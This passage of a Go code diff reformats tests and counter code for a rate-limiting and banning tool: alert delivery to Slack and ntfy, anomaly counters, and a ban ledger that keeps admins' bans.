ban := alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1), Reason: "a ban"}
|
||||||
Event: alerts.EventBan,
|
|
||||||
Netblock: netblock(1),
|
|
||||||
Reason: "a ban",
|
|
||||||
}
|
|
||||||
|
|
||||||
// The hour's one alert, a repeat of it the cooldown holds back, and
|
// The hour's one alert, a repeat of it the cooldown holds back, and
|
||||||
// an alert past the limit; once the hour has ended, its summary,
|
// an alert past the limit; once the hour has ended, its summary,
|
||||||
// which gives the repeat, and the next alert, which gives none.
|
// which gives the repeat, and the next alert, which gives none.
|
||||||
q.Raise(ban)
|
q.Raise(ban)
|
||||||
q.Raise(ban)
|
q.Raise(ban)
|
||||||
q.Raise(
|
q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"})
|
||||||
alerts.Alert{
|
|
||||||
Event: alerts.EventFileError,
|
|
||||||
Reason: "a file error",
|
|
||||||
},
|
|
||||||
)
|
|
||||||
time.Sleep(time.Hour)
|
time.Sleep(time.Hour)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
q.Raise(ban)
|
q.Raise(ban)
|
||||||
@@ -941,18 +786,8 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
|
|||||||
"by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
|
"by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
|
||||||
|
|
||||||
wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
|
wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
|
||||||
wantNtfyMessage(
|
wantNtfyMessage(t, ntfy[1], instance+": summary", "default bar_chart", summary)
|
||||||
t,
|
wantSlackMessage(t, slack[2], "*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32")
|
||||||
ntfy[1],
|
|
||||||
instance+": summary",
|
|
||||||
"default bar_chart",
|
|
||||||
summary,
|
|
||||||
)
|
|
||||||
wantSlackMessage(
|
|
||||||
t,
|
|
||||||
slack[2],
|
|
||||||
"*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32",
|
|
||||||
)
|
|
||||||
wantNtfyMessage(t, ntfy[2], instance+": ban", "default no_entry",
|
wantNtfyMessage(t, ntfy[2], instance+": ban", "default no_entry",
|
||||||
"a ban\nnetblock: 203.0.113.1/32")
|
"a ban\nnetblock: 203.0.113.1/32")
|
||||||
})
|
})
|
||||||
@@ -978,11 +813,7 @@ func TestSlackMessageEscapesAmpersandsAndAngleBrackets(t *testing.T) {
|
|||||||
|
|
||||||
wantSlackMessage(t, got[0], "*app<1>: file_error*\n"+
|
wantSlackMessage(t, got[0], "*app<1>: file_error*\n"+
|
||||||
"<!channel> & <https://x.example|y>")
|
"<!channel> & <https://x.example|y>")
|
||||||
wantBodies(
|
wantBodies(t, standIns[alerts.DestinationNtfy], "<!channel> & <https://x.example|y>")
|
||||||
t,
|
|
||||||
standIns[alerts.DestinationNtfy],
|
|
||||||
"<!channel> & <https://x.example|y>",
|
|
||||||
)
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1004,12 +835,7 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) {
|
|||||||
params.NtfyToken = tc.token
|
params.NtfyToken = tc.token
|
||||||
standIns, q := startAll(t, params)
|
standIns, q := startAll(t, params)
|
||||||
|
|
||||||
q.Raise(
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
||||||
alerts.Alert{
|
|
||||||
Event: alerts.EventBan,
|
|
||||||
Netblock: netblock(1),
|
|
||||||
},
|
|
||||||
)
|
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
for destination, want := range map[string][]string{
|
for destination, want := range map[string][]string{
|
||||||
@@ -1019,21 +845,13 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) {
|
|||||||
} {
|
} {
|
||||||
got := standIns[destination].received()
|
got := standIns[destination].received()
|
||||||
if len(got) != 1 {
|
if len(got) != 1 {
|
||||||
t.Fatalf(
|
t.Fatalf("%s was sent %d requests, want 1", destination, len(got))
|
||||||
"%s was sent %d requests, want 1",
|
|
||||||
destination,
|
|
||||||
len(got),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
authorization := got[0].header.Values("Authorization")
|
authorization := got[0].header.Values("Authorization")
|
||||||
if !slices.Equal(authorization, want) {
|
if !slices.Equal(authorization, want) {
|
||||||
t.Errorf(
|
t.Errorf("%s was sent Authorization %q, want %q", destination,
|
||||||
"%s was sent Authorization %q, want %q",
|
authorization, want)
|
||||||
destination,
|
|
||||||
authorization,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -1052,9 +870,7 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
|
|||||||
standIns[alerts.DestinationSlack].set(hanging)
|
standIns[alerts.DestinationSlack].set(hanging)
|
||||||
|
|
||||||
for n := range 3 {
|
for n := range 3 {
|
||||||
q.Raise(
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
|
||||||
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
@@ -1069,9 +885,7 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
|
|||||||
wantDestinationCounts(t, q, destination, want)
|
wantDestinationCounts(t, q, destination, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
if got := standIns[alerts.DestinationSlack].received(); len(
|
if got := standIns[alerts.DestinationSlack].received(); len(got) != 1 {
|
||||||
got,
|
|
||||||
) != 1 {
|
|
||||||
t.Errorf("Slack was sent %d requests, want 1", len(got))
|
t.Errorf("Slack was sent %d requests, want 1", len(got))
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1086,16 +900,11 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
|
|||||||
alerts.Counts{Sent: 3, SendFailures: 1})
|
alerts.Counts{Sent: 3, SendFailures: 1})
|
||||||
|
|
||||||
logged := log.String()
|
logged := log.String()
|
||||||
if !strings.Contains(
|
if !strings.Contains(logged,
|
||||||
logged,
|
`"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`) ||
|
||||||
`"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`,
|
|
||||||
) ||
|
|
||||||
strings.Contains(logged, "hooks.slack.example") ||
|
strings.Contains(logged, "hooks.slack.example") ||
|
||||||
strings.Contains(logged, "T0123") {
|
strings.Contains(logged, "T0123") {
|
||||||
t.Errorf(
|
t.Errorf("process log %q names no failure, or names the URL", logged)
|
||||||
"process log %q names no failure, or names the URL",
|
|
||||||
logged,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -1113,9 +922,7 @@ func TestDropsAreCountedForEachDestination(t *testing.T) {
|
|||||||
// Each alert is raised once each destination has done all it can
|
// Each alert is raised once each destination has done all it can
|
||||||
// with those before it.
|
// with those before it.
|
||||||
for n := range alerts.QueueSize + 1 {
|
for n := range alerts.QueueSize + 1 {
|
||||||
q.Raise(
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
|
||||||
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
|
|
||||||
)
|
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1329,10 +1136,7 @@ func start(t *testing.T, params alerts.Params) (*standIn, *alerts.Queue) {
|
|||||||
// startAll returns, by destination, a stand-in that answers for each
|
// startAll returns, by destination, a stand-in that answers for each
|
||||||
// destination params sets, and a Queue that sends to them, run until the
|
// destination params sets, and a Queue that sends to them, run until the
|
||||||
// test ends.
|
// test ends.
|
||||||
func startAll(
|
func startAll(t *testing.T, params alerts.Params) (map[string]*standIn, *alerts.Queue) {
|
||||||
t *testing.T,
|
|
||||||
params alerts.Params,
|
|
||||||
) (map[string]*standIn, *alerts.Queue) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
q := alerts.New(params)
|
q := alerts.New(params)
|
||||||
@@ -1366,9 +1170,7 @@ func midnight() time.Time {
|
|||||||
|
|
||||||
// netblock returns the n-th netblock of a test, counted from 0.
|
// netblock returns the n-th netblock of a test, counted from 0.
|
||||||
func netblock(n int) netip.Prefix {
|
func netblock(n int) netip.Prefix {
|
||||||
return netip.MustParsePrefix(
|
return netip.MustParsePrefix(fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256))
|
||||||
fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// roundTrip returns state once written as JSON and read back, as
|
// roundTrip returns state once written as JSON and read back, as
|
||||||
@@ -1421,22 +1223,12 @@ func wantEvents(t *testing.T, webhook *standIn, want ...string) {
|
|||||||
// requests to it that it counts as failed, the alerts it counts as held
|
// requests to it that it counts as failed, the alerts it counts as held
|
||||||
// back, and those it counts as dropped for the webhook.
|
// back, and those it counts as dropped for the webhook.
|
||||||
func wantCounts(
|
func wantCounts(
|
||||||
t *testing.T,
|
t *testing.T, q *alerts.Queue, sent, sendFailures, suppressed, dropped int64,
|
||||||
q *alerts.Queue,
|
|
||||||
sent, sendFailures, suppressed, dropped int64,
|
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
wantDestinationCounts(
|
wantDestinationCounts(t, q, alerts.DestinationWebhook,
|
||||||
t,
|
alerts.Counts{Sent: sent, SendFailures: sendFailures, Dropped: dropped})
|
||||||
q,
|
|
||||||
alerts.DestinationWebhook,
|
|
||||||
alerts.Counts{
|
|
||||||
Sent: sent,
|
|
||||||
SendFailures: sendFailures,
|
|
||||||
Dropped: dropped,
|
|
||||||
},
|
|
||||||
)
|
|
||||||
|
|
||||||
if q.Suppressed() != suppressed {
|
if q.Suppressed() != suppressed {
|
||||||
t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed)
|
t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed)
|
||||||
@@ -1469,9 +1261,7 @@ func anAlertForEachEvent() []eventMessage {
|
|||||||
{
|
{
|
||||||
alerts.Alert{
|
alerts.Alert{
|
||||||
Event: alerts.EventBan, Client: netip.MustParseAddr("203.0.113.9"),
|
Event: alerts.EventBan, Client: netip.MustParseAddr("203.0.113.9"),
|
||||||
Netblock: netip.MustParsePrefix(
|
Netblock: netip.MustParsePrefix("203.0.113.0/24"), Country: "DE",
|
||||||
"203.0.113.0/24",
|
|
||||||
), Country: "DE",
|
|
||||||
Reason: "requests per hour over the limit of 10000",
|
Reason: "requests per hour over the limit of 10000",
|
||||||
Detail: map[string]any{"mode": "observe"},
|
Detail: map[string]any{"mode": "observe"},
|
||||||
},
|
},
|
||||||
@@ -1482,9 +1272,7 @@ func anAlertForEachEvent() []eventMessage {
|
|||||||
{
|
{
|
||||||
alerts.Alert{
|
alerts.Alert{
|
||||||
Event: alerts.EventPermanentBan, Client: netip.MustParseAddr("198.51.100.7"),
|
Event: alerts.EventPermanentBan, Client: netip.MustParseAddr("198.51.100.7"),
|
||||||
Netblock: netip.MustParsePrefix(
|
Netblock: netip.MustParsePrefix("198.51.100.7/32"), Country: "FR",
|
||||||
"198.51.100.7/32",
|
|
||||||
), Country: "FR",
|
|
||||||
Reason: "matched the rule env-file",
|
Reason: "matched the rule env-file",
|
||||||
},
|
},
|
||||||
"fsn1app1/blog: permanent_ban", "high no_entry",
|
"fsn1app1/blog: permanent_ban", "high no_entry",
|
||||||
@@ -1559,30 +1347,18 @@ func wantSlackMessage(t *testing.T, request post, text string) {
|
|||||||
// wantNtfyMessage checks that request, one ntfy was sent, posted the
|
// wantNtfyMessage checks that request, one ntfy was sent, posted the
|
||||||
// message text with the title, and with the priority and the tag
|
// message text with the title, and with the priority and the tag
|
||||||
// priorityAndTag gives, with a space between them.
|
// priorityAndTag gives, with a space between them.
|
||||||
func wantNtfyMessage(
|
func wantNtfyMessage(t *testing.T, request post, title, priorityAndTag, text string) {
|
||||||
t *testing.T,
|
|
||||||
request post,
|
|
||||||
title, priorityAndTag, text string,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got := []string{
|
got := []string{
|
||||||
request.method, request.url, request.header.Get("Title"),
|
request.method, request.url, request.header.Get("Title"),
|
||||||
request.header.Get(
|
request.header.Get("Priority") + " " + request.header.Get("Tags"), request.body,
|
||||||
"Priority",
|
|
||||||
) + " " + request.header.Get(
|
|
||||||
"Tags",
|
|
||||||
), request.body,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
want := []string{http.MethodPost, ntfyURL, title, priorityAndTag, text}
|
want := []string{http.MethodPost, ntfyURL, title, priorityAndTag, text}
|
||||||
if !slices.Equal(got, want) {
|
if !slices.Equal(got, want) {
|
||||||
t.Errorf(
|
t.Errorf("ntfy was sent the method, URL, title, priority and tag, and text "+
|
||||||
"ntfy was sent the method, URL, title, priority and tag, and text "+
|
"%q, want %q", got, want)
|
||||||
"%q, want %q",
|
|
||||||
got,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -43,13 +43,7 @@ const (
|
|||||||
|
|
||||||
// Scopes returns every scope.
|
// Scopes returns every scope.
|
||||||
func Scopes() []string {
|
func Scopes() []string {
|
||||||
return []string{
|
return []string{ScopeClient, ScopeNet, ScopeASN, ScopeTotal, ScopeWatchedNet}
|
||||||
ScopeClient,
|
|
||||||
ScopeNet,
|
|
||||||
ScopeASN,
|
|
||||||
ScopeTotal,
|
|
||||||
ScopeWatchedNet,
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// The windows a counter counts in, as the alerts name them.
|
// The windows a counter counts in, as the alerts name them.
|
||||||
@@ -197,12 +191,8 @@ func (c *Counters) Snapshot() []Counter {
|
|||||||
c.mu.Unlock()
|
c.mu.Unlock()
|
||||||
|
|
||||||
slices.SortFunc(counters, func(a, b Counter) int {
|
slices.SortFunc(counters, func(a, b Counter) int {
|
||||||
return cmp.Or(
|
return cmp.Or(cmp.Compare(a.Scope, b.Scope), a.Netblock.Compare(b.Netblock),
|
||||||
cmp.Compare(a.Scope, b.Scope),
|
cmp.Compare(a.ASN, b.ASN), cmp.Compare(a.Name, b.Name))
|
||||||
a.Netblock.Compare(b.Netblock),
|
|
||||||
cmp.Compare(a.ASN, b.ASN),
|
|
||||||
cmp.Compare(a.Name, b.Name),
|
|
||||||
)
|
|
||||||
})
|
})
|
||||||
|
|
||||||
return counters
|
return counters
|
||||||
@@ -267,11 +257,7 @@ func (c *Counters) scopesOf(r Request) []scope {
|
|||||||
for _, named := range p.NamedNetblocks {
|
for _, named := range p.NamedNetblocks {
|
||||||
if named.Netblock.Contains(client) {
|
if named.Netblock.Contains(client) {
|
||||||
all = append(all, scope{
|
all = append(all, scope{
|
||||||
key{
|
key{scope: ScopeWatchedNet, netblock: named.Netblock, name: named.Name}, p.Watch,
|
||||||
scope: ScopeWatchedNet,
|
|
||||||
netblock: named.Netblock,
|
|
||||||
name: named.Name,
|
|
||||||
}, p.Watch,
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -330,12 +316,7 @@ func (c *Counter) add(
|
|||||||
|
|
||||||
counted := count.buckets.Add(now, count.length, n)
|
counted := count.buckets.Add(now, count.length, n)
|
||||||
if !passed && counted > float64(threshold) {
|
if !passed && counted > float64(threshold) {
|
||||||
first = overThreshold{
|
first = overThreshold{count.kind, count.window, counted, threshold}
|
||||||
count.kind,
|
|
||||||
count.window,
|
|
||||||
counted,
|
|
||||||
threshold,
|
|
||||||
}
|
|
||||||
passed = true
|
passed = true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -378,22 +359,12 @@ func (c *Counter) lastStart() time.Time {
|
|||||||
|
|
||||||
// key returns what tells c from the other counters.
|
// key returns what tells c from the other counters.
|
||||||
func (c *Counter) key() key {
|
func (c *Counter) key() key {
|
||||||
return key{
|
return key{scope: c.Scope, netblock: c.Netblock, asn: c.ASN, name: c.Name}
|
||||||
scope: c.Scope,
|
|
||||||
netblock: c.Netblock,
|
|
||||||
asn: c.ASN,
|
|
||||||
name: c.Name,
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// counter returns a counter for k, with nothing counted yet.
|
// counter returns a counter for k, with nothing counted yet.
|
||||||
func (k key) counter() *Counter {
|
func (k key) counter() *Counter {
|
||||||
return &Counter{
|
return &Counter{Scope: k.scope, Netblock: k.netblock, ASN: k.asn, Name: k.name}
|
||||||
Scope: k.scope,
|
|
||||||
Netblock: k.netblock,
|
|
||||||
ASN: k.asn,
|
|
||||||
Name: k.name,
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// alertFor returns the anomaly alert for o, a count over its threshold in
|
// alertFor returns the anomaly alert for o, a count over its threshold in
|
||||||
@@ -433,13 +404,8 @@ func alertFor(r Request, k key, o overThreshold) alerts.Alert {
|
|||||||
ASN: r.ASN,
|
ASN: r.ASN,
|
||||||
ASName: r.ASName,
|
ASName: r.ASName,
|
||||||
Country: r.Country,
|
Country: r.Country,
|
||||||
Reason: fmt.Sprintf(
|
Reason: fmt.Sprintf("%s per %s of %s over the threshold of %d", o.kind, o.window,
|
||||||
"%s per %s of %s over the threshold of %d",
|
counted, o.threshold),
|
||||||
o.kind,
|
|
||||||
o.window,
|
|
||||||
counted,
|
|
||||||
o.threshold,
|
|
||||||
),
|
|
||||||
Detail: detail,
|
Detail: detail,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -31,10 +31,7 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
|
|||||||
// name one netblock.
|
// name one netblock.
|
||||||
NetV4Prefix: 32,
|
NetV4Prefix: 32,
|
||||||
NamedNetblocks: []anomaly.NamedNetblock{
|
NamedNetblocks: []anomaly.NamedNetblock{
|
||||||
{
|
{Name: "office", Netblock: office}, {Name: "hq", Netblock: office},
|
||||||
Name: "office",
|
|
||||||
Netblock: office,
|
|
||||||
}, {Name: "hq", Netblock: office},
|
|
||||||
},
|
},
|
||||||
Alerts: queue,
|
Alerts: queue,
|
||||||
})
|
})
|
||||||
@@ -83,16 +80,11 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if after.Suppressed() != 9 {
|
if after.Suppressed() != 9 {
|
||||||
t.Errorf(
|
t.Errorf("after loading, %d alerts are held back, want 9", after.Suppressed())
|
||||||
"after loading, %d alerts are held back, want 9",
|
|
||||||
after.Suppressed(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(
|
func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
counters := newCounters(anomaly.Params{
|
counters := newCounters(anomaly.Params{
|
||||||
@@ -111,28 +103,17 @@ func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(
|
|||||||
got := counters.Snapshot()
|
got := counters.Snapshot()
|
||||||
if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) ||
|
if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) ||
|
||||||
!holds(got, maxCounters) {
|
!holds(got, maxCounters) {
|
||||||
t.Errorf(
|
t.Errorf("%d counters, holding the first client %v, the second %v and the "+
|
||||||
"%d counters, holding the first client %v, the second %v and the "+
|
"new one %v, want %d, the first and the new one", len(got), holds(got, 0),
|
||||||
"new one %v, want %d, the first and the new one",
|
holds(got, 1), holds(got, maxCounters), maxCounters)
|
||||||
len(got),
|
|
||||||
holds(got, 0),
|
|
||||||
holds(got, 1),
|
|
||||||
holds(got, maxCounters),
|
|
||||||
maxCounters,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(
|
func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
counters := newCounters(anomaly.Params{
|
counters := newCounters(anomaly.Params{
|
||||||
Net: anomaly.Thresholds{
|
Net: anomaly.Thresholds{RequestsPerMinute: 1000, RequestsPerHour: 1000},
|
||||||
RequestsPerMinute: 1000,
|
|
||||||
RequestsPerHour: 1000,
|
|
||||||
},
|
|
||||||
Total: anomaly.Thresholds{RequestsPerMinute: 1000},
|
Total: anomaly.Thresholds{RequestsPerMinute: 1000},
|
||||||
NetV4Prefix: 24,
|
NetV4Prefix: 24,
|
||||||
})
|
})
|
||||||
@@ -161,9 +142,7 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(
|
|||||||
Hour: ratelimit.Buckets{Start: midnight(), Current: 7},
|
Hour: ratelimit.Buckets{Start: midnight(), Current: 7},
|
||||||
}
|
}
|
||||||
if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual(
|
if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual(
|
||||||
got,
|
got, want) {
|
||||||
want,
|
|
||||||
) {
|
|
||||||
t.Errorf("counters read\n%+v\nwant\n%+v", got, want)
|
t.Errorf("counters read\n%+v\nwant\n%+v", got, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -213,12 +192,9 @@ func TestLoadDropsTheLeastRecentlyCountedFirst(t *testing.T) {
|
|||||||
|
|
||||||
got := counters.Snapshot()
|
got := counters.Snapshot()
|
||||||
if !holds(got, 0) || holds(got, maxCounters/2) {
|
if !holds(got, 0) || holds(got, maxCounters/2) {
|
||||||
t.Errorf(
|
t.Errorf("holding the first client of the file %v, and the first counted in "+
|
||||||
"holding the first client of the file %v, and the first counted in "+
|
"the minute before %v, want only the first", holds(got, 0),
|
||||||
"the minute before %v, want only the first",
|
holds(got, maxCounters/2))
|
||||||
holds(got, 0),
|
|
||||||
holds(got, maxCounters/2),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -249,14 +225,9 @@ func newQueue() *alerts.Queue {
|
|||||||
// request returns a request from client number i, an address in
|
// request returns a request from client number i, an address in
|
||||||
// 10.0.0.0/8.
|
// 10.0.0.0/8.
|
||||||
func request(i int) anomaly.Request {
|
func request(i int) anomaly.Request {
|
||||||
client := netip.MustParseAddr(
|
client := netip.MustParseAddr(fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255))
|
||||||
fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255),
|
|
||||||
)
|
|
||||||
|
|
||||||
return anomaly.Request{
|
return anomaly.Request{Client: client, ClientGroup: netip.PrefixFrom(client, 32)}
|
||||||
Client: client,
|
|
||||||
ClientGroup: netip.PrefixFrom(client, 32),
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// holds reports whether counters hold the counter of client number i.
|
// holds reports whether counters hold the counter of client number i.
|
||||||
|
|||||||
+42
-146
@@ -36,21 +36,9 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
|
|||||||
// then one with an admin's ban before a ban sww made: the one
|
// then one with an admin's ban before a ban sww made: the one
|
||||||
// ban counted toward MaxBans.
|
// ban counted toward MaxBans.
|
||||||
ledger.Load([]bans.Ban{
|
ledger.Load([]bans.Ban{
|
||||||
{
|
{Netblock: adminsOnly, Start: midnight().Add(-3 * time.Hour), Cause: bans.CauseAdmin},
|
||||||
Netblock: adminsOnly,
|
{Netblock: adminsOnly, Start: midnight().Add(-2 * time.Hour), Cause: bans.CauseAdmin},
|
||||||
Start: midnight().Add(-3 * time.Hour),
|
{Netblock: both, Start: midnight().Add(-time.Hour), Cause: bans.CauseAdmin},
|
||||||
Cause: bans.CauseAdmin,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
Netblock: adminsOnly,
|
|
||||||
Start: midnight().Add(-2 * time.Hour),
|
|
||||||
Cause: bans.CauseAdmin,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
Netblock: both,
|
|
||||||
Start: midnight().Add(-time.Hour),
|
|
||||||
Cause: bans.CauseAdmin,
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
Netblock: both,
|
Netblock: both,
|
||||||
Start: midnight(),
|
Start: midnight(),
|
||||||
@@ -62,27 +50,15 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
|
|||||||
|
|
||||||
// A new ban drops the ban sww made, and only that one.
|
// A new ban drops the ban sww made, and only that one.
|
||||||
ledger.BanForLimit(second, midnight(), bans.Notes{})
|
ledger.BanForLimit(second, midnight(), bans.Notes{})
|
||||||
wantBans(
|
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1})
|
||||||
t,
|
|
||||||
ledger,
|
|
||||||
map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1},
|
|
||||||
)
|
|
||||||
|
|
||||||
if ledger.Bans(both)[0].Cause != bans.CauseAdmin {
|
if ledger.Bans(both)[0].Cause != bans.CauseAdmin {
|
||||||
t.Errorf(
|
t.Errorf("%s kept %+v, want the admin's ban", both, ledger.Bans(both))
|
||||||
"%s kept %+v, want the admin's ban",
|
|
||||||
both,
|
|
||||||
ledger.Bans(both),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// And the next drops that one.
|
// And the next drops that one.
|
||||||
ledger.BanForLimit(third, midnight(), bans.Notes{})
|
ledger.BanForLimit(third, midnight(), bans.Notes{})
|
||||||
wantBans(
|
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1})
|
||||||
t,
|
|
||||||
ledger,
|
|
||||||
map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1},
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
|
func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
|
||||||
@@ -98,11 +74,7 @@ func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
|
|||||||
// twice, each time after its last ban has ended.
|
// twice, each time after its last ban has ended.
|
||||||
ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
|
ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
|
||||||
"probes for logins")
|
"probes for logins")
|
||||||
first, _ := ledger.BanForLimit(
|
first, _ := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
|
||||||
netblock,
|
|
||||||
midnight().Add(time.Minute),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
|
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
|
||||||
|
|
||||||
// A ban on another netblock fills the ledger, and the netblock's first
|
// A ban on another netblock fills the ledger, and the netblock's first
|
||||||
@@ -147,21 +119,12 @@ func TestReasonOfTheBansSwwMakes(t *testing.T) {
|
|||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
|
|
||||||
limit, _ := ledger.BanForLimit(
|
limit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
|
||||||
netip.MustParsePrefix("203.0.113.1/32"),
|
bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"})
|
||||||
midnight(),
|
byteLimit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.3/32"),
|
||||||
bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"},
|
midnight(), bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"})
|
||||||
)
|
attack, _ := ledger.BanForAttack(netip.MustParsePrefix("203.0.113.2/32"), midnight(),
|
||||||
byteLimit, _ := ledger.BanForLimit(
|
bans.Notes{RuleID: "git-dir", Target: "path"})
|
||||||
netip.MustParsePrefix("203.0.113.3/32"),
|
|
||||||
midnight(),
|
|
||||||
bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"},
|
|
||||||
)
|
|
||||||
attack, _ := ledger.BanForAttack(
|
|
||||||
netip.MustParsePrefix("203.0.113.2/32"),
|
|
||||||
midnight(),
|
|
||||||
bans.Notes{RuleID: "git-dir", Target: "path"},
|
|
||||||
)
|
|
||||||
|
|
||||||
for _, tc := range []struct{ got, want string }{
|
for _, tc := range []struct{ got, want string }{
|
||||||
{limit.Reason, "requests per minute over the limit of 1000"},
|
{limit.Reason, "requests per minute over the limit of 1000"},
|
||||||
@@ -203,25 +166,17 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
|
|||||||
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
||||||
if ban.Expires.Sub(ban.Start) != time.Hour ||
|
if ban.Expires.Sub(ban.Start) != time.Hour ||
|
||||||
